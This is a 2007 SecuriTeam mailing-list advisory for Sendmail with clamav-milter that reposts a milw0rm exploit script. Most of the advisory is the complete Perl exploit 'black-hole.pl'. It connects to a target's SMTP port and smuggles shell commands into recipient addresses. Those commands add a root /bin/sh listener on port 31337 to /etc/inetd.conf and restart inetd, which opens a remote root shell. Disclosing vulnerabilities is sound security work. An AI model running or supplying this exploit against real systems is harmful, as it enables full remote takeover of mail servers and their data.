[EXPL] Clamav-milter and Sendmail Allow Arbitrary Command Execution (Exploit)

The following security advisory is sent to the securiteam mailing list, and can 
be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion

The SecuriTeam alerts list - Free, Accurate, Independent.

Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html 

- - - - - - - - -



  Clamav-milter and Sendmail Allow Arbitrary Command Execution (Exploit)
------------------------------------------------------------------------


SUMMARY

A vulnerability in clamav-milter when associated with Sendmail allows 
remote attackers to cause the product to execute arbitrary code.

DETAILS

Exploit:
### black-hole.pl
### Sendmail w/ clamav-milter Remote Root Exploit
### Copyright (c) 2007 Eliteboy
########################################################
use IO::Socket;

print "Sendmail w/ clamav-milter Remote Root Exploit\n";
print "Copyright (C) 2007 Eliteboy\n";

if ($#ARGV != 0) {print "Give me a host to connect.\n";exit;}

print "Attacking $ARGV[0]...\n";

$sock = IO::Socket::INET->new(PeerAddr => $ARGV[0],
                              PeerPort => '25',
                              Proto    => 'tcp');

print $sock "ehlo you\r\n";
print $sock "mail from: <>\r\n";
print $sock "rcpt to: <nobody+\"|echo '31337 stream tcp nowait root 
/bin/sh -i' >> /etc/inetd.conf\"@localhost>\r\n";
print $sock "rcpt to: <nobody+\"|/etc/init.d/inetd 
restart\"@localhost>\r\n";
print $sock "data\r\n.\r\nquit\r\n";

while (<$sock>) {
        print;
}

# milw0rm.com [2007-12-21]


ADDITIONAL INFORMATION

The information has been provided by Eliteboy.
The original article can be found at:  
<http://www.milw0rm.com/exploits/4761> 
http://www.milw0rm.com/exploits/4761



======================================== 


This bulletin is sent to members of the SecuriTeam mailing list. 
To unsubscribe from the list, send mail with an empty subject line and body to: 
list-unsubscribe@securiteam.com 
In order to subscribe to the mailing list, simply forward this email to: 
list-subscribe@securiteam.com 


==================== 
==================== 

DISCLAIMER: 
The information in this bulletin is provided "AS IS" without warranty of any 
kind. 
In no event shall we be liable for any damages whatsoever including direct, 
indirect, incidental, consequential, loss of business profits or special 
damages.